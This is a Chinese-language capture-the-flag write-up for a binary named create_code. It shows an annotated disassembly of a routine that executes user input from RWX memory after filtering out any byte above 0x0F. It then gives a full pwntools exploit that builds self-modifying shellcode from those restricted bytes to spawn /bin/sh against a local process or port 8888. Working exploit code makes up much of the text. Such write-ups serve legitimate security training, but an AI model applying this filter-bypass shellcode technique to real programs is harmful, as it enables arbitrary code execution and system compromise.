解题过程

反编译create_code,漏洞点见如下代码注释处:

  1. .text:00000000000013F0 sub_13F0 proc near ; CODE XREF: main+AEp
  2. .text:00000000000013F0; __unwind {
  3. .text:00000000000013F0 endbr64
  4. .text:00000000000013F4 push rbp
  5. .text:00000000000013F5 mov rbp, rsp
  6. .text:00000000000013F8sub rsp, 10h
  7. .text:00000000000013FC mov dword ptr [rbp-0Ch], 0
  8. .text:0000000000001403 mov eax, cs:dword_4040
  9. .text:0000000000001409 cmp eax, 2Eh; '.'
  10. .text:000000000000140C jle short loc_142E
  11. .text:000000000000140E mov edx, 0Fh
  12. .text:0000000000001413 lea rsi, aNoMoreData ; "no more data.\n"
  13. .text:000000000000141A mov edi, 1
  14. .text:000000000000141F mov eax, 0
  15. .text:0000000000001424 call sub_10C0
  16. .text:0000000000001429 jmp locret_153C
  17. .text:000000000000142E; ---------------------------------------------------------------------------
  18. .text:000000000000142E
  19. .text:000000000000142E loc_142E: ; CODE XREF: sub_13F0+1Cj
  20. .text:000000000000142E mov eax, cs:dword_4040
  21. .text:0000000000001434 add eax, 1
  22. .text:0000000000001437 mov cs:dword_4040, eax
  23. .text:000000000000143D mov edi, 324h
  24. .text:0000000000001442 call sub_10F0 ; 申请1000字节大小的内存
  25. .text:0000000000001447 mov [rbp-8], rax
  26. .text:000000000000144B mov rax, [rbp-8]
  27. .text:000000000000144Fand rax, 0FFFFFFFFFFFFF000h
  28. .text:0000000000001455 mov edx, 7
  29. .text:000000000000145A mov esi, 1000h
  30. .text:000000000000145F mov rdi, rax
  31. .text:0000000000001462 call sub_1100 ; 设置申请的内存属性为RWX
  32. .text:0000000000001467 mov edx, 9
  33. .text:000000000000146C lea rsi, aContent ; "content: "
  34. .text:0000000000001473 mov edi, 1
  35. .text:0000000000001478 mov eax, 0
  36. .text:000000000000147D call sub_10C0
  37. .text:0000000000001482 mov rax, [rbp-8]
  38. .text:0000000000001486 mov edx, 3E8h
  39. .text:000000000000148B mov rsi, rax
  40. .text:000000000000148E mov edi, 0
  41. .text:0000000000001493 mov eax, 0
  42. .text:0000000000001498 call sub_10E0 ; 读取数据到内存中
  43. .text:000000000000149D mov eax, cs:dword_4040
  44. .text:00000000000014A3 cdqe
  45. .text:00000000000014A5 lea rcx, ds:0[rax*8]
  46. .text:00000000000014AD lea rdx, unk_4060
  47. .text:00000000000014B4 mov rax, [rbp-8]
  48. .text:00000000000014B8 mov [rcx+rdx], rax
  49. .text:00000000000014BC mov rax, [rbp-8]
  50. .text:00000000000014C0 mov eax, [rax]
  51. .text:00000000000014C2 cmp eax, 0F012F012h; 判断起始地址是否为0xF012F012
  52. .text:00000000000014C7 jnz short loc_1517
  53. .text:00000000000014C9 jmp short loc_14EF
  54. .text:00000000000014CB; ---------------------------------------------------------------------------
  55. .text:00000000000014CB
  56. .text:00000000000014CB loc_14CB: ; CODE XREF: sub_13F0+106j
  57. .text:00000000000014CB mov rdx, [rbp-8]
  58. .text:00000000000014CF mov eax, [rbp-0Ch]
  59. .text:00000000000014D2 cdqe
  60. .text:00000000000014D4 movzx eax, byte ptr [rdx+rax+4]
  61. .text:00000000000014D9 cmp al, 0Fh; 判断数据值是否>0xF
  62. .text:00000000000014DB jbe short loc_14EB
  63. .text:00000000000014DD mov rdx, [rbp-8]
  64. .text:00000000000014E1 mov eax, [rbp-0Ch]
  65. .text:00000000000014E4 cdqe
  66. .text:00000000000014E6 mov byte ptr [rdx+rax+4], 0; 大于0xF,则置0
  67. .text:00000000000014EB
  68. .text:00000000000014EB loc_14EB: ; CODE XREF: sub_13F0+EBj
  69. .text:00000000000014EB add dword ptr [rbp-0Ch], 1
  70. .text:00000000000014EF
  71. .text:00000000000014EF loc_14EF: ; CODE XREF: sub_13F0+D9j
  72. .text:00000000000014EF cmp dword ptr [rbp-0Ch], 3E7h遍历内存中的数据
  73. .text:00000000000014F6 jle short loc_14CB
  74. .text:00000000000014F8 mov rax, [rbp-8]
  75. .text:00000000000014FC add rax, 4
  76. .text:0000000000001500 mov cs:qword_4048, rax
  77. .text:0000000000001507 mov rdx, cs:qword_4048
  78. .text:000000000000150E mov eax, 0
  79. .text:0000000000001513 call rdx ; qword_4048 ; 执行申请内存处的代码
  80. .text:0000000000001515 jmp short loc_1521
  81. .text:0000000000001517; ---------------------------------------------------------------------------
  82. .text:0000000000001517
  83. .text:0000000000001517 loc_1517: ; CODE XREF: sub_13F0+D7j
  84. .text:0000000000001517 mov rax, [rbp-8]
  85. .text:000000000000151B mov dword ptr [rax], 4
  86. .text:0000000000001521
  87. .text:0000000000001521 loc_1521: ; CODE XREF: sub_13F0+125j
  88. .text:0000000000001521 mov edx, 15h
  89. .text:0000000000001526 lea rsi, aCreateSuccessf ; "create successfully.\n"
  90. .text:000000000000152D mov edi, 1
  91. .text:0000000000001532 mov eax, 0
  92. .text:0000000000001537 call sub_10C0
  93. .text:000000000000153C
  94. .text:000000000000153C locret_153C: ; CODE XREF: sub_13F0+39j
  95. .text:000000000000153C leave
  96. .text:000000000000153D retn
  97. .text:000000000000153D; } // starts at 13F0
  98. .text:000000000000153D sub_13F0 endp

通过上述分析,可以知道,申请了1000字节RWX内存,当前四字节内容为0xF012F012时,会为进一步判断后续内存数据,数据内容限定在0~0xF之间,后续直接执行此处代码。因而,这里可以使用如下指令进行构造,exp如下:

from pwn import*
context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = './create_code'
elf = ELF(BINARY)
if len(sys.argv) > 1and sys.argv[1] == 'r':
    HOST = "127.0.0.1"
    PORT = 8888
    s = remote(HOST, PORT)
else:
    s = process(BINARY)
#context.terminal = ['tmux', 'splitw', '-h']
#s = gdb.debug(BINARY)
s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"
buf = asm('''
 add DWORD PTR [rip+0x600], eax
''')
# make xor ecx,ecx   code 0x31c9
buf += asm('''
 add al, 0x0d
 add al, 0x0d
 add al, 0x0d
 add BYTE PTR [rdx+rax*1], al
 add al, 0x01
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
 add BYTE PTR [rdx+rax*1], al
''')
# padding
buf += asm('''
 add cl,  BYTE PTR [rdx]
 add cl,  BYTE PTR [rdx]
 add cl,  BYTE PTR [rdx+rax*1]
''')
buf += b"\x00"*(0x27-len(buf))
buf += b"\x0a\x01"
# rcx = 0x200
buf += asm('''
 add ecx, DWORD PTR [rip+0x30f]
''')
# push rdx   # 0x52
buf += asm('''
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
''')
# pop rdi    # 0x5f
buf += asm('''
 add cl, byte PTR [rdx] 
 add al, 6
 add byte PTR [rdx+rcx*1], al
 add al, 1
 add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# add rdi, 0x30f  # 4881c70f030000
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
 add cl, byte PTR [rdx]
''')
# al = 0x40
# xor esi, esi  # 0x31f6
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# xor edx, edx  # 0x31d2
buf += asm('''
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add al, 1
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# push 0x3b  # 0x6a3b
buf += asm('''
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# pop rax  # 0x58
buf += asm('''
 add cl, byte PTR [rdx]
 add al, 0xf
 add al, 0xf
 add al, 0x9
 add byte PTR [rdx+rcx*1], al
''')
# al = 0x58
# make /bin/sh
# rcx = 0x200
buf += asm('''
 add ecx, DWORD PTR [rip+0x20f]
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0xf
 add al, 0x5
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add al, 2
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add cl, byte PTR [rdx]
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
 add byte PTR [rdx+rcx*1], al
''')
# padding
buf += asm('''
 add cl,  BYTE PTR [rdx]
''')*((0x200-len(buf))//2 - 1)
buf += asm('''
 add cl, byte PTR [rdx+rax*1]
''')
buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"
buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01"# rcx = 0x30f
buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02"# /bin/sh
buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02"# rcx = 0x200
buf += b"\x00"*(1000-len(buf))
s.sendline(flag+buf)
s.interactive()